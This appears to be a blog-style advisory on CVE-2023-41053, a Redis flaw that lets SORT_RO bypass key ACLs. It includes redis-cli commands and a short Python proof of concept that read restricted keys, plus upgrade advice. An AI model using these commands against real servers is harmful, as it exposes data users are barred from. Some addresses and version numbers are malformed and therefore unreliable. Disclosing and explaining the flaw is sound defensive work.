Redis is an extremely popular in-memory database used around the world for high-speed caching, session storage, and data persistence. However, like all software, Redis is not immune to security vulnerabilities. In this post, we’ll cover a serious issue discovered in Redis—CVE-2023-41053—affecting how key permissions are checked with the SORT_RO command, including a simple proof-of-concept and guidance on how to stay safe.

Redis lets you set per-user key access control using Access Control Lists (ACLs).

- The SORT_RO command is a read-only variant of SORT that returns sorted data without modifying it.

Redis did not correctly check which keys a user is allowed to access when running SORT_RO.

- An attacker, or any Redis user, could potentially retrieve values from keys they shouldn’t have access to, even though those keys are protected by ACL rules.

In simple terms: a user with restricted access to certain keys could still see data from those keys when using the SORT_RO command. The vulnerability is subtle but can lead to data leaks, privilege escalation, or unexpected data exposure.

References

- Official Redis Security Advisory
- CVE Details Page

Suppose you have the following ACL configuration

user alice on +@read ~foo:* -@dangerous
user bob on +@read ~bar:* -@dangerous

Bob has access to keys with the prefix bar:*.

Normally, Bob shouldn’t be able to read values from any foo:* keys. But, with the SORT_RO vulnerability, Bob could perform a command that exposes values from restricted keys.

Suppose you store a list and some extra keys

# As admin
127...1:6379> LPUSH mylist joe alice
127...1:6379> SET foo:joe "Joe's secret"
127...1:6379> SET foo:alice "Alice's secret"

Now, even if Bob’s ACL does not allow access to foo:joe or foo:alice, Bob can do

# As bob
127...1:6379[bob]> SORT_RO mylist BY foo:* GET #
127...1:6379[bob]> SORT_RO mylist BY foo:* GET foo:*

If ACLs are not checked correctly, Bob could see the contents of foo:joe and foo:alice!

What should happen?
Bob’s request should get denied or only work on keys he has access to. But due to the vulnerability, this restriction was not enforced by Redis.

Sample Exploit Code

Here’s some example Python code demonstrating the issue using redis-py:

import redis

client = redis.Redis(host='127...1', port=6379, username='bob', password='bobspassword')

# Suppose 'mylist' contains user ids
# And 'foo:joe', 'foo:alice' are not accessible to bob via ACLs

result = client.execute_command('SORT_RO', 'mylist', 'BY', 'foo:*', 'GET', '#', 'GET', 'foo:*')
print(result)

If the Redis server is not patched, and Bob’s ACL prevents access to foo:*, he might *still* see values from those keys. This demonstrates the problem directly.

If you’re using Redis 7.2.x, upgrade at least to 7.2.1.

# Check Redis version
redis-server --version

# Update Redis (Debian/Ubuntu example)
sudo apt update
sudo apt install redis-server
# Or use your preferred method/source distribution

Review Redis release notes and official Redis downloads for more details.

Denying operations that try to access keys without explicit permission.

See the GitHub pull request with the patch for technical details.

Conclusion

CVE-2023-41053 is a critical vulnerability affecting Redis servers with ACLs. It allows users to bypass key permissions using the SORT_RO command. There are no safe workarounds, so immediate upgrade is a must.

If you run Redis with user ACLs, do not delay—update to 7..13/7.2.1 or newer as soon as possible.

References

- Redis CVE-2023-41053 Advisory
- NVD Entry for CVE-2023-41053
- Official Redis Documentation on ACLs

Timeline

Published on: 09/06/2023 21:15:00 UTC
Last modified on: 09/12/2023 12:00:00 UTC